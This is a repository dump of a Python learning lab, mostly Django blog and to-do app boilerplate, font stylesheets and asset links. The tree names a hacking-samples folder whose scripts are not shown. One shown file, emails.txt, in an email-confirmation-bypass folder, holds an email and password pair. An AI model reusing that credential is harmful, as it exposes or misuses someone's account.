├── .gitignore ├── Dayana python lab ├── 6-Learn-How-Code │ └── 0-dayana-members │ │ ├── 0-Dayi │ │ └── aboutme.txt │ │ └── 1-mr-rokni │ │ ├── 1-Blog-with-django │ │ ├── blog │ │ │ ├── __init__.py │ │ │ ├── __pycache__ │ │ │ │ ├── urls.cpython-310.pyc │ │ │ │ ├── wsgi.cpython-310.pyc │ │ │ │ ├── __init__.cpython-310.pyc │ │ │ │ └── settings.cpython-310.pyc │ │ │ ├── asgi.py │ │ │ ├── wsgi.py │ │ │ └── urls.py │ │ ├── home │ │ │ ├── __init__.py │ │ │ ├── migrations │ │ │ │ ├── __init__.py │ │ │ │ └── __pycache__ │ │ │ │ │ └── __init__.cpython-310.pyc │ │ │ ├── models.py │ │ │ ├── admin.py │ │ │ ├── tests.py │ │ │ ├── urls.py │ │ │ ├── apps.py │ │ │ └── views.py │ │ ├── account │ │ │ ├── __init__.py │ │ │ ├── migrations │ │ │ │ ├── __init__.py │ │ │ │ ├── __pycache__ │ │ │ │ │ ├── __init__.cpython-310.pyc │ │ │ │ │ ├── 0001_initial.cpython-310.pyc │ │ │ │ │ ├── 0002_alter_profile_image.cpython-310.pyc │ │ │ │ │ └── 0003_alter_profile_options.cpython-310.pyc │ │ │ │ ├── 0003_alter_profile_options.py │ │ │ │ ├── 0002_alter_profile_image.py │ │ │ │ └── 0001_initial.py │ │ │ ├── tests.py │ │ │ ├── admin.py │ │ │ ├── apps.py │ │ │ ├── urls.py │ │ │ ├── models.py │ │ │ ├── forms.py │ │ │ ├── views.py │ │ │ └── templates │ │ │ │ └── account │ │ │ │ └── edit.html │ │ ├── blog_post │ │ │ ├── __init__.py │ │ │ ├── migrations │ │ │ │ ├── __init__.py │ │ │ │ ├── __pycache__ │ │ │ │ │ ├── 0011_like.cpython-310.pyc │ │ │ │ │ ├── __init__.cpython-310.pyc │ │ │ │ │ ├── 0001_initial.cpython-310.pyc │ │ │ │ │ ├── 0010_massage.cpython-310.pyc │ │ │ │ │ ├── 0002_article_auther.cpython-310.pyc │ │ │ │ │ ├── 0007_alter_article_slug.cpython-310.pyc │ │ │ │ │ ├── 0008_alter_article_slug.cpython-310.pyc │ │ │ │ │ ├── 0006_remove_article_status.cpython-310.pyc │ │ │ │ │ ├── 0005_article_slug_article_status.cpython-310.pyc │ │ │ │ │ ├── 0004_rename_crated_article_created.cpython-310.pyc │ │ │ │ │ ├── 0003_category_article_pubdate_article_category.cpython-310.pyc │ │ │ │ │ └── 0009_alter_article_options_alter_article_auther_and_more.cpython-310.pyc │ │ │ │ ├── 0006_remove_article_status.py │ │ │ │ ├── 0008_alter_article_slug.py │ │ │ │ ├── 0007_alter_article_slug.py │ │ │ │ ├── 0004_rename_crated_article_created.py │ │ │ │ ├── 0005_article_slug_article_status.py │ │ │ │ ├── 0002_article_auther.py │ │ │ │ ├── 0010_massage.py │ │ │ │ ├── 0001_initial.py │ │ │ │ ├── 0003_category_article_pubdate_article_category.py │ │ │ │ ├── 0011_like.py │ │ │ │ └── 0009_alter_article_options_alter_article_auther_and_more.py │ │ │ ├── tests.py │ │ │ ├── apps.py │ │ │ ├── admin.py │ │ │ ├── mixins.py │ │ │ ├── urls.py │ │ │ ├── forms.py │ │ │ └── models.py │ │ ├── context_processors │ │ │ ├── __init__.py │ │ │ └── context_processors.py │ │ ├── db.sqlite3 │ │ ├── static │ │ │ ├── fonts │ │ │ │ ├── slick.eot │ │ │ │ ├── slick.ttf │ │ │ │ ├── slick.woff │ │ │ │ ├── Flaticon.woff │ │ │ │ ├── font-awesome-4.7.0 │ │ │ │ │ ├── less │ │ │ │ │ │ ├── fixed-width.less │ │ │ │ │ │ ├── screen-reader.less │ │ │ │ │ │ ├── larger.less │ │ │ │ │ │ ├── list.less │ │ │ │ │ │ ├── core.less │ │ │ │ │ │ ├── stacked.less │ │ │ │ │ │ ├── font-awesome.less │ │ │ │ │ │ ├── bordered-pulled.less │ │ │ │ │ │ ├── rotated-flipped.less │ │ │ │ │ │ ├── path.less │ │ │ │ │ │ ├── animated.less │ │ │ │ │ │ └── mixins.less │ │ │ │ │ ├── scss │ │ │ │ │ │ ├── _fixed-width.scss │ │ │ │ │ │ ├── _screen-reader.scss │ │ │ │ │ │ ├── _larger.scss │ │ │ │ │ │ ├── _list.scss │ │ │ │ │ │ ├── _core.scss │ │ │ │ │ │ ├── font-awesome.scss │ │ │ │ │ │ ├── _stacked.scss │ │ │ │ │ │ ├── _bordered-pulled.scss │ │ │ │ │ │ ├── _rotated-flipped.scss │ │ │ │ │ │ ├── _path.scss │ │ │ │ │ │ ├── _animated.scss │ │ │ │ │ │ └── _mixins.scss │ │ │ │ │ ├── fonts │ │ │ │ │ │ ├── FontAwesome.otf │ │ │ │ │ │ ├── fontawesome-webfont.eot │ │ │ │ │ │ ├── fontawesome-webfont.ttf │ │ │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ │ │ └── fontawesome-webfont.woff2 │ │ │ │ │ └── HELP-US-OUT.txt │ │ │ │ ├── FontAwesome.otf │ │ │ │ ├── flexslider-icon.eot │ │ │ │ ├── flexslider-icon.ttf │ │ │ │ ├── flexslider-icon.woff │ │ │ │ ├── fontawesome-webfont.eot │ │ │ │ ├── fontawesome-webfont.ttf │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ ├── fontawesome-webfont.woff2 │ │ │ │ ├── poppins │ │ │ │ │ ├── Poppins-Black.ttf │ │ │ │ │ ├── Poppins-Bold.ttf │ │ │ │ │ ├── Poppins-Italic.ttf │ │ │ │ │ ├── Poppins-Light.ttf │ │ │ │ │ ├── Poppins-Medium.ttf │ │ │ │ │ ├── Poppins-Thin.ttf │ │ │ │ │ ├── Poppins-Regular.ttf │ │ │ │ │ ├── Poppins-SemiBold.ttf │ │ │ │ │ ├── Poppins-BlackItalic.ttf │ │ │ │ │ ├── Poppins-BoldItalic.ttf │ │ │ │ │ ├── Poppins-ExtraBold.ttf │ │ │ │ │ ├── Poppins-ExtraLight.ttf │ │ │ │ │ ├── Poppins-LightItalic.ttf │ │ │ │ │ ├── Poppins-ThinItalic.ttf │ │ │ │ │ ├── Poppins-MediumItalic.ttf │ │ │ │ │ ├── Poppins-ExtraBoldItalic.ttf │ │ │ │ │ ├── Poppins-ExtraLightItalic.ttf │ │ │ │ │ └── Poppins-SemiBoldItalic.ttf │ │ │ │ ├── iconic │ │ │ │ │ └── fonts │ │ │ │ │ │ ├── Material-Design-Iconic-Font.eot │ │ │ │ │ │ ├── Material-Design-Iconic-Font.ttf │ │ │ │ │ │ ├── Material-Design-Iconic-Font.woff │ │ │ │ │ │ └── Material-Design-Iconic-Font.woff2 │ │ │ │ ├── slick.svg │ │ │ │ └── flexslider-icon.svg │ │ │ ├── images │ │ │ │ ├── Thumbs.db │ │ │ │ ├── bg-01.jpg │ │ │ │ ├── cta-bg.jpg │ │ │ │ ├── about-us.jpg │ │ │ │ ├── heading-bg.jpg │ │ │ │ ├── icons │ │ │ │ │ ├── index.jpg │ │ │ │ │ └── favicon.ico │ │ │ │ ├── blog-post-01.jpg │ │ │ │ ├── blog-post-02.jpg │ │ │ │ ├── blog-post-03.jpg │ │ │ │ ├── blog-thumb-01.jpg │ │ │ │ ├── blog-thumb-02.jpg │ │ │ │ ├── blog-thumb-03.jpg │ │ │ │ ├── blog-thumb-04.jpg │ │ │ │ ├── blog-thumb-05.jpg │ │ │ │ ├── blog-thumb-06.jpg │ │ │ │ ├── banner-item-01.jpg │ │ │ │ ├── banner-item-02.jpg │ │ │ │ ├── banner-item-03.jpg │ │ │ │ ├── banner-item-04.jpg │ │ │ │ ├── banner-item-05.jpg │ │ │ │ ├── banner-item-06.jpg │ │ │ │ ├── comment-author-01.jpg │ │ │ │ ├── comment-author-02.jpg │ │ │ │ └── comment-author-03.jpg │ │ │ ├── js │ │ │ │ ├── testajax.js │ │ │ │ ├── main.js │ │ │ │ └── custom.js │ │ │ └── vendor │ │ │ │ ├── countdowntime │ │ │ │ └── countdowntime.js │ │ │ │ ├── perfect-scrollbar │ │ │ │ └── perfect-scrollbar.css │ │ │ │ └── bootstrap │ │ │ │ └── css │ │ │ │ └── bootstrap-reboot.min.css │ │ ├── media │ │ │ └── images │ │ │ │ └── articles │ │ │ │ ├── Thumbs.db │ │ │ │ ├── banner-item-03.jpg │ │ │ │ ├── banner-item-05.jpg │ │ │ │ ├── banner-item-06.jpg │ │ │ │ └── banner-item-03_UvxeQyK.jpg │ │ ├── templates │ │ │ ├── admin │ │ │ │ └── base_site.html │ │ │ ├── base.html │ │ │ └── includes │ │ │ │ ├── header_refrences.html │ │ │ │ ├── footer.html │ │ │ │ ├── footer_refrences.html │ │ │ │ ├── side_bar.html │ │ │ │ └── header.html │ │ ├── requirements.txt │ │ ├── manage.py │ │ └── README.md │ │ ├── aboutme.txt │ │ └── 0-toDoList-with-django │ │ ├── mainApp │ │ ├── __init__.py │ │ ├── migrations │ │ │ ├── __init__.py │ │ │ ├── __pycache__ │ │ │ │ ├── __init__.cpython-310.pyc │ │ │ │ └── 0001_initial.cpython-310.pyc │ │ │ └── 0001_initial.py │ │ ├── admin.py │ │ ├── apps.py │ │ ├── serializers.py │ │ ├── urls.py │ │ ├── views.py │ │ ├── models.py │ │ └── tests.py │ │ ├── toDolist │ │ ├── __init__.py │ │ ├── asgi.py │ │ ├── wsgi.py │ │ └── urls.py │ │ ├── debug.log │ │ ├── db.sqlite3 │ │ ├── requirements.txt │ │ ├── manage.py │ │ └── README.md ├── 3_Sample │ └── 2_hack_&_sec │ │ ├── 5_web_hacks │ │ ├── 1_auto_register_email_confirm_bypass │ │ │ ├── emails.txt │ │ │ └── KDR.py │ │ ├── 0_captcha_bypass │ │ │ └── 1.mp3 │ │ └── 2_knolixDriver │ │ │ └── killdriver.py │ │ ├── 4_social_bots │ │ └── 0_telegram │ │ │ └── 0_crypto_currency_data_gather_bot │ │ │ ├── requirements.txt │ │ │ ├── Dockerfile │ │ │ └── appcc.py │ │ ├── 1_network │ │ ├── 0_blackpy_samples │ │ │ ├── 2_simple_udp_client.py │ │ │ ├── 1_simple_tcp_client.py │ │ │ └── 3_simple_tcp_server.py │ │ └── 1_proxy_&_connections │ │ │ └── illegible.py │ │ ├── 3_cryptography │ │ ├── 0_float_to_md5_hash_python │ │ │ └── ill_float_to_md5.py │ │ ├── 1_float_to_sha256_python │ │ │ └── ill_sha256_encoder.py │ │ └── 2_md5_hash_decoder_from_manual_list │ │ │ └── ill_md5_decoder.py │ │ └── 0_other │ │ └── 0_natas_games_resovlers │ │ ├── natas16.py │ │ ├── natas15.py │ │ └── natas17.py ├── 0_playground │ ├── 0_train_playground │ │ ├── Shervin_Javidi │ │ │ └── madlib │ │ │ │ ├── madlib.py │ │ │ │ └── madlib_templates │ │ │ │ ├── t_1.py │ │ │ │ ├── t_2.py │ │ │ │ ├── t_3.py │ │ │ │ └── t_4.py │ │ ├── hossein_choopani │ │ │ ├── QRdecoder.py │ │ │ ├── QRencoder.py │ │ │ └── SA for TSP.py │ │ └── mohammad_reza_rokni │ │ │ └── amazon_price_tracker.py │ ├── 4_relax_self_study_playground │ │ ├── 2_moudule_learning │ │ │ ├── csv_module.py │ │ │ └── xml_json_reader_methods.py │ │ └── 1_ML │ │ │ └── numpy_lib_sample.py │ ├── 2_sample_playground │ │ └── 2_hack_&_sec_playground │ │ │ └── selenium_sample.py │ └── mohammadreza_rokni ├── 2_game │ └── 1_hipy_game │ │ ├── part 2 - S.P │ │ ├── lvl_5.py │ │ ├── lvl_2.py │ │ ├── lvl_4.py │ │ ├── lvl_1.py │ │ ├── lvl_6.py │ │ └── lvl_3.py │ │ ├── part 3 - U.P │ │ ├── lvl_1.py │ │ ├── lvl_4.py │ │ ├── lvl_5.py │ │ ├── lvl_3.py │ │ ├── lvl_2.py │ │ └── lvl_6.py │ │ ├── part 5 - H.B │ │ ├── level6_are_you_ok.py │ │ ├── guide.txt │ │ ├── level4_help_me_to_connect.py │ │ ├── level5_finde_element_bug.py │ │ ├── level3_proxy_wont_work_bug.py │ │ └── level2_i_forgot_build_file_first.py │ │ ├── part 4 - H.R │ │ └── part4 - guide.txt │ │ ├── part 6 │ │ └── guide.txt │ │ ├── part 1 - R.E │ │ ├── level_1.py │ │ ├── level_1_sister.py │ │ ├── level_3.py │ │ ├── level_2.py │ │ └── Level_4.py │ │ └── hello-friend.txt ├── 4_idea_documention │ ├── guide.txt │ └── 0_dayana_nostradamus │ │ └── basic-idea.txt ├── 1_data_lake │ └── 1_light_weight_data │ │ ├── data-text.xml │ │ ├── b52_dataset.csv │ │ └── data.json └── 5_relax_self_study │ └── 1_specific_by_functionality │ ├── 0_diagrammatic │ └── linear.py │ └── 1_data_processing │ └── minidataNO1.py ├── debug.log └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .dplvenv -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/0-Dayi/aboutme.txt: -------------------------------------------------------------------------------- 1 | hi im dayi -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/aboutme.txt: -------------------------------------------------------------------------------- 1 | name: Mohammad Reza Rokni -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/toDolist/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/context_processors/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/5_web_hacks/1_auto_register_email_confirm_bypass/emails.txt: -------------------------------------------------------------------------------- 1 | zovasy@ema-sofia.eu:c5db73f2 2 | -------------------------------------------------------------------------------- /debug.log: -------------------------------------------------------------------------------- 1 | [0312/234318.607:ERROR:registration_protocol_win.cc(107)] CreateFile: The system cannot find the file specified. (0x2) 2 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/4_social_bots/0_telegram/0_crypto_currency_data_gather_bot/requirements.txt: -------------------------------------------------------------------------------- 1 | pyTelegramBotAPI==4.2.2 2 | beautifulsoup4==4.10.0 3 | lxml==4.8.0 -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/5_web_hacks/0_captcha_bypass/1.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/3_Sample/2_hack_&_sec/5_web_hacks/0_captcha_bypass/1.mp3 -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/debug.log: -------------------------------------------------------------------------------- 1 | [1224/235408.592:ERROR:registration_protocol_win.cc(107)] CreateFile: The system cannot find the file specified. (0x2) 2 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from .models import Profile 3 | # Register your models here. 4 | 5 | 6 | admin.site.register(Profile) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/db.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/db.sqlite3 -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | from . import views 3 | 4 | app_name = 'home' 5 | urlpatterns = [ 6 | path("", views.home , name='home') 7 | ] -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/db.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/db.sqlite3 -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from .models import toDo 3 | # Register your models here for access the models for admin. 4 | 5 | admin.site.register(toDo) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class HomeAppConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'home' 7 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class AccountConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'account' 7 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/slick.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/slick.eot -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/slick.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/slick.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/slick.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/slick.woff -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/Thumbs.db -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/bg-01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/bg-01.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/cta-bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/cta-bg.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class MainappConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'mainApp' 7 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class BlogPostConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'blog_post' 7 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/Flaticon.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/Flaticon.woff -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/fixed-width.less: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .@{fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/screen-reader.less: -------------------------------------------------------------------------------- 1 | // Screen Readers 2 | // ------------------------- 3 | 4 | .sr-only { .sr-only(); } 5 | .sr-only-focusable { .sr-only-focusable(); } 6 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/about-us.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/about-us.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_fixed-width.scss: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .#{$fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/heading-bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/heading-bg.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/icons/index.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/icons/index.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/Thumbs.db -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-post-01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-post-01.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-post-02.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-post-02.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-post-03.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-post-03.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-01.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-02.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-02.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-03.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-03.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-04.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-04.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-05.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-05.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-06.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/blog-thumb-06.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/icons/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python 